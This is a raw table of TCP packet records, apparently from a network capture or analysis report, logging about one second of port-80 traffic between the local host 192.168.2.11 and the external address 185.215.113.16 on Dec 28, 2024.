Dec 28, 2024 09:56:59.626513004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.626564026 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.678580999 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.678648949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.678657055 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.678735971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.678766012 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.678982973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679040909 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.679073095 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679080963 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679088116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679164886 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.679780960 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679877043 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679886103 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.679932117 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.679955006 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.680044889 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.680529118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.680583954 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.680592060 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.680658102 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.680679083 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.680718899 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.681312084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.681365967 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.681371927 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.681437016 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.681456089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.681683064 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.682135105 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.682207108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.682214022 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.682276011 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.682282925 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.682326078 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.682925940 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.682970047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.682976961 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.683047056 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.683099985 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.683176994 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.683706045 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.683759928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.683765888 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.683815956 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.683862925 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.683907986 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.684529066 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.684549093 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.684556961 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.684607029 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.684667110 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.684727907 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.685305119 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.685362101 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.685388088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.685475111 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.685534954 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.685561895 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.686131954 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.686167002 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.686175108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.686197996 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.686253071 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.686316967 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.686877012 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687001944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687046051 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.687053919 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687063932 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687108040 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.687146902 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687803984 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687854052 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.687866926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687874079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687927961 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.687975883 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.688596964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.688637972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.688646078 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.688699961 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.688735008 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.689408064 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.689455986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.689455986 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.689464092 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.689518929 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.689697027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.690434933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.690493107 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.690500021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.690578938 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.690592051 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.691025972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691076994 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.691097021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691104889 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691158056 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691164017 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.691873074 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691879988 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691885948 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.691924095 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.691941977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.692608118 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.692651033 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.692657948 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.692656994 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.692693949 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.692720890 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.693411112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.693468094 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.693480015 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.693512917 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.693532944 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.694200993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.694245100 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.694256067 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.694263935 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.694299936 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.694365025 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695018053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695044994 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695050955 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695060968 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.695085049 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.695156097 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695826054 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695861101 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695868015 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.695874929 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.695907116 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.695954084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.696639061 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.696676016 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.696687937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.696693897 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.696721077 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.696769953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.697427988 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.697467089 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.697474003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.697515965 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.697544098 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.698229074 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.698249102 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.698256016 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.698276043 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.698296070 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.698373079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699033976 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699076891 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699083090 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.699093103 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699131012 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.699171066 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699867964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699901104 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699908972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.699923992 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.699949980 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.700015068 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.700670958 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.700727940 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.700737000 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.700746059 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.700783014 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.700898886 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.701456070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.701493979 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.701500893 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.701575994 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.701586008 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.702231884 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.702276945 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.702289104 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.702296019 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.702332020 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.702368975 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703041077 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703090906 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703098059 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703186035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703193903 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.703852892 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703905106 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.703907013 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703912973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.703954935 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.703986883 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.704657078 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.704684973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.704691887 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.704699993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.704720974 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.704811096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.705501080 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.705507994 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.705521107 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.705554008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.705591917 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.706254959 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.706294060 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.706296921 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.706300020 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.706377983 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.706465960 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.707051039 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707086086 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.707093000 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707101107 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707139969 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.707206964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707875967 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707890987 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707902908 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.707948923 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.707995892 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.708667040 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.708688974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.708694935 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.708705902 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.708724976 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.708785057 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.709458113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.709505081 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.709511042 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.709544897 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.709605932 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.710263968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.710310936 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.710325003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.710333109 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.710366964 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.710395098 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711112976 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711127043 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711133003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711165905 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.711195946 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711868048 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711910963 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711924076 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.711957932 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.711982965 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.711997032 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.712672949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.712687969 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.712693930 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.712713957 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.712733030 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.712785006 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.713457108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.713498116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.713504076 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.713515997 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.713538885 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.713609934 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.714325905 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.714373112 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.714381933 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.714390039 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.714427948 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.714502096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715099096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715142965 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715148926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715153933 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.715187073 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.715219975 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715874910 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715918064 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.715924978 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715933084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.715976000 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.715993881 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.716675043 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.716722965 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.716728926 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.716741085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.716775894 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.716795921 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.717480898 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.717519999 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.717525959 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.717587948 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.717587948 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.717643023 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.718280077 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.718324900 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.718338966 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.718344927 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.718385935 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.718406916 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.719090939 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.719124079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.719136953 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.719141006 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.719186068 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:59.719206095 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.746130943 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.746176004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:59.746263027 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.213901997 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.217605114 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.610563993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.635658979 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.730056047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.730216980 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.730283022 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.755193949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.755378962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.755471945 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.755829096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.755938053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.756122112 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.756984949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.757086039 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.757127047 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.758115053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.758228064 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.758284092 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.759241104 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.759526014 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.759581089 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.760380030 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.760503054 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.760576963 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.761534929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.761694908 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.761914015 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.762686968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.762804031 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.762861013 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:57:00.763838053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.763958931 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:57:00.764009953 CET	49771	80	192.168.2.11	185.215.113.16
